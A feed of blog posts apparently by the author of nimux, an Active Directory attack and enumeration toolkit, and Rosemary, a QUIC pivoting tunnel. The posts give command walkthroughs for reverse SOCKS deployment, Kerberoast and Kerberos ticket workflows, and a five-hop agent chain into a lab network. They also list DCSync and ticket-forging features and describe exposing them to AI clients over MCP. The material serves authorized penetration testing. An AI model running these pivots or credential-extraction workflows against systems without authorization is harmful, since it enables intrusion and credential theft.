DEV Community: blue0x1

Pivoting with nimux: Native SOCKS Workflows for Internal Network Access

blue0x1 — Sat, 18 Jul 2026 17:16:11 +0000

Pivoting is one of the most important parts of an internal assessment. Once an operator reaches a host that can access another subnet, the next challenge is not just reaching that network,
but continuing the assessment without constantly changing tools or manually rebuilding routes.

nimux includes a native SOCKS pivot workflow for this.

The idea is simple: use nimux to deploy a pivot helper on an authorized host, start a local SOCKS listener, then reuse the same nimux command surface with --proxy for internal enumeration
and follow-on actions.

The CLI stays the execution engine. The pivot becomes just another transport path.

Example deployment:

nimux socks 192.168.1.103 -u administrator -p 'Password123' \
--reverse --listener 192.168.1.104 \
--socks-port 1088 \
--control-port 1081

A successful deployment shows the callback, SOCKS listener, remote helper path, PID, proxychains entry, and cleanup command.

Screenshot caption:

nimux reverse SOCKS deployment over WinRM, showing the agent callback, local SOCKS5 listener, remote helper path, PID, proxychains entry, and cleanup command.

After the SOCKS listener is ready, internal commands can be routed through it.

Port scan through the pivot:

nimux scan 172.16.10.0/24 --port 445,3389,5985 --open \
--proxy socks5://127.0.0.1:1088

SMB enumeration through the pivot:

nimux smb dc01.internal.corp.local -u operator -p '' -d internal.corp.local \
--shares --users --pass-pol \
--proxy socks5://127.0.0.1:1088

LDAP enumeration through the same pivot:

nimux ldap dc01.internal.corp.local -u operator -p '' -d internal.corp.local \
--query dcs --query trusts --query kerberoast \
--proxy socks5://127.0.0.1:1088

WinRM through the pivot:

nimux winrm ws01.internal.corp.local -u operator -p '' -d internal.corp.local \
--cmd whoami \
--proxy socks5://127.0.0.1:1088

Kerberos-aware workflows can also be used with generated krb5 configuration and ccache files:

nimux krb5conf dc01.internal.corp.local -d internal.corp.local --out internal.krb5.conf

nimux kerberos dc01.internal.corp.local -u operator -p '' -d internal.corp.local \
--request kinit --out operator.ccache

nimux winrm ws01.internal.corp.local -k \
--ccache operator.ccache \
--krb5-config internal.krb5.conf \
-u operator -d internal.corp.local \
--spn WSMAN \
--cmd hostname \
--proxy socks5://127.0.0.1:1088

This matters because pivoting is usually where workflows become messy. Operators often end up combining tunnels, proxy wrappers, DNS changes, and separate tooling. nimux tries to keep that
cleaner by making pivoted execution part of the same workflow.

The operational pattern becomes:

deploy pivot
confirm SOCKS listener
reuse nimux with --proxy
enumerate
execute
collect evidence
clean up

Cleanup is also part of the workflow. The SOCKS command prints the values needed to stop the helper and remove the remote file.

Example cleanup:

nimux socks 192.168.1.103 -u administrator -p '' \
--kill \
--pid \
--socks-remote ''

The goal is not to make pivoting magical. It is to make it less fragmented.

nimux is designed as a pure-Nim network enumeration and remote execution toolkit for authorized security assessments. Pivoting is one of the areas where having enumeration, execution,
Kerberos, LDAP, SMB, WinRM, and proxy support under one command surface starts to matter.

Links:

Docs: https://docs.nimux.wiki
GitHub: https://github.com/blue0x1/nimux
Website: https://nimux.wiki
Releases: https://github.com/blue0x1/nimux/releases

Use nimux only on systems you own or are explicitly authorized to assess.

Introducing nimux: A Pure-Nim Network Enumeration and Remote Execution Toolkit

blue0x1 — Fri, 17 Jul 2026 18:24:00 +0000

I recently released nimux, a pure-Nim network enumeration and remote execution toolkit for authorized security assessments.

nimux is built around one idea: a single native command surface for moving from discovery to execution without constantly switching tools.

Internal assessments often require scanners, SMB tools, LDAP tools, Kerberos utilities, AD CS tooling, GPO tooling, remote execution tools, secrets tooling, DCSync tooling, ticket
converters, and SOCKS helpers.

nimux brings many of those workflows into one native binary.

Why I built it
During internal security assessments, the workflow usually moves through several phases:

Discover reachable hosts and exposed services
Validate credentials
Enumerate SMB, LDAP, Kerberos, MSSQL, WinRM, and other protocols
Identify Active Directory paths
Request or transform Kerberos tickets
Execute commands remotely
Move files
Collect secrets
Pivot into internal networks
Preserve output for reporting

The usual approach is to chain many different tools together.

nimux tries to reduce that friction.
It is not just an SMB enumeration wrapper. It is designed as a full-chain operator toolkit.

What nimux supports
nimux currently includes support for:

TCP and UDP scanning with service detection
SMB enumeration, authentication, shares, users, groups, sessions, RID brute, file operations, coercion, and ticket capture workflows
LDAP and Active Directory enumeration, writes, ACL paths, RBCD, Shadow Credentials, BadSuccessor, DNS, LAPS, and gMSA workflows
Kerberos TGT, TGS, S4U, PKINIT, ccache and kirbi conversion, ticket renewal, ticket purge, golden, silver, diamond, and inter-realm ticket workflows
AD CS inventory, template analysis, certificate requests, certificate authentication, certificate mapping, and ESC-style findings
WinRM, SCM, WMI/CIM, DCOM/MMC, scheduled tasks, helper services, and interactive shells
MSSQL, PostgreSQL, MySQL, HTTP, HTTPS, WebDAV, FTP, SSH, RDP, VNC, NFS, and AFP clients
SAM, LSA, cached credentials, DPAPI material, trust keys, and native DCSync
BloodHound-style output
Native SOCKS helper deployment and proxy-aware workflows
JSON output for automation

Protocol coverage
nimux currently includes clients and workflows for SMB, LDAP, Kerberos, WinRM, MSSQL, PostgreSQL, MySQL, HTTP, HTTPS, WebDAV, FTP, SSH, RDP, VNC, NFS, and AFP.

It also includes native DCSync, secrets extraction, DPAPI material collection, trust key extraction, BloodHound-style output, SOCKS helper deployment, JSON output, and rollback records for
supported AD writes.

Active Directory depth
nimux includes many Active Directory operations directly:

User, computer, group, and dMSA creation
LDAP modify, delete, LDIF, restore, and move operations
RBCD configuration
ACL add and remove workflows
Owner changes
Group membership changes
Kerberoast and ASREPRoast
Shadow Credentials
Certificate mapping
Schannel LDAP authentication
BadSuccessor workflow
GPO creation, linking, delegation, file operations, startup scripts, and scheduled tasks
AD CS inventory, certificate request, certificate authentication, and template modification
OPSEC notes for common event and log artifacts
Rollback output for supported writes

Kerberos workflows
Kerberos support is one of the main areas I focused on.

nimux supports kinit style TGT requests, getST style service ticket requests, S4U2Self, S4U2Proxy, constrained delegation, RBCD final service ticket workflow, ccache inspection, ccache to
kirbi conversion, kirbi to ccache conversion, ticket renewal, ticket purge, Kerberoast, PKINIT authentication, golden tickets, silver tickets, diamond tickets, inter-realm tickets, and
extra SID forging.

Pivot-aware workflows
One of the features I care about is pivot-aware usage.

nimux includes a SOCKS helper workflow and supports proxy-aware operations across supported protocols.

This makes nimux useful beyond a single flat network.

Why Nim
I chose Nim because it gives the project a strong native-tooling foundation:

Native binary output
Fast startup
Good performance
Practical systems programming
Strong C interoperability
Lower runtime friction
Good fit for protocol-heavy tooling

nimux is still young, but the direction is clear: a fast native toolkit with deep Active Directory and Kerberos coverage.

Install

Install from Nimble:

nimble install nimux
Download release assets:

https://github.com/blue0x1/nimux/releases

Build from source:

  git clone https://github.com/blue0x1/nimux
  cd nimux
  nimble build -y

Documentation

The documentation includes command references, examples, tutorials, troubleshooting, and advanced Active Directory workflows.

https://docs.nimux.wiki

Legal notice

nimux is built for authorized security testing only.

Use nimux only on systems you own or are explicitly authorized to assess. The tool includes functionality that can modify Active Directory objects, request Kerberos tickets, run commands
remotely, and extract sensitive material from systems where the operator has sufficient privileges.

The author assumes no responsibility or liability for misuse, damage, or legal consequences caused by unauthorized use.

Links

Website: https://nimux.wiki
Documentation: https://docs.nimux.wiki
GitHub: https://github.com/blue0x1/nimux
Releases: https://github.com/blue0x1/nimux/releases

Update: v1.0.2 adds MCP integration

nimux now includes an MCP wrapper that exposes core nimux workflows as structured tools for AI clients. The CLI remains the native execution engine, while MCP clients can help with
planning, parsing, reporting, and repeatable workflows.

The MCP integration includes:

stdio-based nimux MCP wrapper
config examples for Codex, Claude, Cursor, Windsurf, and generic MCP clients
policy-aware execution model
structured progress and result output
support for workflows such as scan, SMB, LDAP, Kerberos, WinRM, GPO, secrets, DCSync, SOCKS pivoting, and proxy-aware enumeration

Docs:
https://docs.nimux.wiki/mcp-integration

Release:
https://github.com/blue0x1/nimux/releases/tag/v1.0.2

Rosemary: Multi-Hop Pivoting Tutorial

blue0x1 — Fri, 10 Jul 2026 06:59:34 +0000

Learn how to chain multiple Rosemary agents to reach deeply nested networks.

Overview

Multi-hop pivoting allows you to reach networks that are several layers deep. Each agent connects through the previous one, forming a chain that extends your reach hop by hop.

Because the agent transport now runs over QUIC/UDP on port 2048, every link in the chain is a UDP forward to the previous hop's agent port (2048), not a TCP forward to the dashboard.

In this tutorial, you will chain 5 agents across different operating systems:

FreeBSD (Server)
Windows (Agent)
macOS (Agent)
Linux (Agent)
Linux (Agent)
HTB Machine (Agent)

Network Topology

[Server]         [Agent 2]        [Agent 4→6]      [Agent 8]         [Agent 12]        [Agent 14]
FreeBSD           Windows          macOS             Linux             Linux             HTB Machine
172.16.54.186     172.16.54.0/24   172.16.126.0/24  172.14.1.0/24     172.16.19.0/24    172.20.1.0/24
                  1025/udp ──────► 1026/udp ──────► 1027/udp ──────► 1028/udp ──────► 192.168.3.0/24
                                                                                        10.10.10.0/24

Step-by-Step

Step 1: Start Server (FreeBSD)

sudo ./rosemary-freebsd-amd64

Output:

Server login key: 1RzWoufxJG86g9qWi9tQtyjV4IbwTmoptojWykBCyFs=
Server IPs: [172.16.54.186]
Dashboard: http://0.0.0.0:1024
Agent transport (QUIC): 0.0.0.0:2048/udp

Step 2: Agent 2 - Windows (Direct to Server)

./agent-windows-amd64.exe -s 172.16.54.186:2048 -k 1RzWoufxJG86g9qWi9tQtyjV4IbwTmoptojWykBCyFs=

Server output:

[+] Agent agent-2 connected with subnets: [172.16.126.0/24 172.16.54.0/24]

Step 3: Create Forward for Hop 1 (Server → Windows → macOS)

rosemary> forward add 1025 agent-2 172.16.54.186 2048 udp

This makes the Windows agent listen on UDP port 1025 and forward QUIC datagrams to the server's agent transport on 2048/udp.

Step 4: Agent 4 → 6 - macOS (Through Windows)

./agent-darwin-amd64 -s 172.16.126.135:1025 -k 1RzWoufxJG86g9qWi9tQtyjV4IbwTmoptojWykBCyFs=

Server output:

[+] Agent agent-4 connected with subnets: [172.16.126.0/24]

Step 5: Reconnect Agent to Discover More Subnets

rosemary> reconnect agent-4

Output:

[-] Agent agent-4 disconnected and removed.
[+] Agent agent-6 connected with subnets: [172.16.126.0/24 172.14.1.0/24]

Step 6: Create Forward for Hop 2 (Server → Windows → macOS → Linux)

rosemary> forward add 1026 agent-6 172.16.126.135 1025 udp

Step 7: Agent 8 - Linux (Through macOS)

./agent-linux-amd64 -s 172.14.1.132:1026 -k 1RzWoufxJG86g9qWi9tQtyjV4IbwTmoptojWykBCyFs=

Server output:

[+] Agent agent-8 connected with subnets: [172.14.1.0/24 172.16.19.0/24]

Step 8: Create Forward for Hop 3 (Server → Windows → macOS → Linux → Linux)

rosemary> forward add 1027 agent-8 172.14.1.132 1026 udp

Step 9: Agent 12 - Second Linux (Through First Linux)

./agent-linux-amd64 -s 172.16.19.136:1027 -k 1RzWoufxJG86g9qWi9tQtyjV4IbwTmoptojWykBCyFs=

Server output:

[+] Agent agent-12 connected with subnets: [192.168.1.0/24 172.17.0.0/16 172.16.54.0/24 ...]

Step 10: Create Forward for Hop 4 (Server → ... → HTB Machine)

rosemary> forward add 1028 agent-12 172.16.19.136 1027 udp

Step 11: Agent 14 - HTB Machine (Final Hop)

./agent-linux-amd64 -s 10.10.14.72:1028 -k 1RzWoufxJG86g9qWi9tQtyjV4IbwTmoptojWykBCyFs=

Server output:

[+] Agent agent-14 connected with subnets: [172.20.1.0/24 192.168.3.0/24 10.10.10.0/24]

Step 12: Access Deepest Network

From the server (FreeBSD), you can now directly access the HTB machine's internal networks:

curl http://192.168.3.1/login.php

Success! The router login page from 5 hops away loads directly on the server.

Accessing through web browser

The Rosemary dashboard graph view automatically lays out all connected agents and their subnet relationships. After completing the 5-hop chain, the graph shows all hops.

Complete Forward Chain

Hop	Agent	OS	Listen Port	Target	Proto
1	agent-2	Windows	1025	Server:2048	udp
2	agent-6	macOS	1026	172.16.126.135:1025	udp
3	agent-8	Linux	1027	172.14.1.132:1026	udp
4	agent-12	Linux	1028	172.16.19.136:1027	udp
5	agent-14	Linux (HTB)	-	Direct to server chain	-

Verification

rosemary> agents

All 5 agents connected:

ID         OS       Subnets
agent-2    windows  172.16.126.0/24, 172.16.54.0/24
agent-6    darwin   172.16.126.0/24, 172.14.1.0/24
agent-8    linux    172.14.1.0/24, 172.16.19.0/24
agent-12   linux    192.168.1.0/24, 172.17.0.0/16, ...
agent-14   linux    172.20.1.0/24, 192.168.3.0/24, 10.10.10.0/24

Key Points

Each hop uses forward add ... udp to chain QUIC traffic to the next agent's transport port.
The first hop targets the server's agent transport on 2048/udp; every subsequent hop targets the previous hop's listen port.
reconnect forces subnet re-discovery when an agent has multiple interfaces.
Traffic flows transparently through all hops over QUIC.
The final agent (HTB machine) provides access to 192.168.3.0/24 and 10.10.10.0/24.

Rosemary is open-source under GPL-3.0. Use only on systems you own or have explicit permission to test.

Rosemary: Transparent Network Tunneling Over QUIC (Kernel-Level)

blue0x1 — Fri, 10 Jul 2026 06:42:18 +0000

Rosemary: Transparent Network Tunneling Over QUIC (Kernel-Level)

Ever SSH into a box and wish you could just use its network without setting up proxy chains or VPNs? Rosemary makes that happen. The server intercepts traffic at the kernel level (no proxy settings, no TUN devices) and tunnels it over encrypted QUIC through a lightweight agent on the remote host. From your laptop, curl, ping, or your browser reach private subnets as if you were there.

What you get

Kernel-level packet interception, transparent to all your apps
TCP, UDP, ICMP, and DNS just work without configuration
Route all internet traffic through a chosen agent (egress)
SOCKS5 proxies, port forwards, and reverse forwards per agent
Multi-hop pivoting through several agents
Web dashboard with real-time agent graph
Full REST API for automation
Works on Linux, Windows, macOS, FreeBSD, and OpenBSD
Agents run without root; traffic is AES-256-GCM encrypted over QUIC

Quick start

# install (requires Go)
go install github.com/blue0x1/rosemary/rosemary@latest
go install github.com/blue0x1/rosemary/agent@latest

# start server (needs sudo for kernel interception)
sudo rosemary

# deploy agent on remote box
./agent-linux-amd64 -s <server-ip>:2048 -k <your-key>

That's it. Open http://server-ip:1024 and you'll see the agent's subnets automatically routed. Set a default egress agent to route all traffic through a jump host:

egress agent-1

Now your laptop behaves like it's on the remote network. No proxychains, no ssh -D, no friction.

Check the repo blue0x1/rosemary for pre-built binaries, PowerShell agents, and the full API. Use only on systems you own or have permission to test.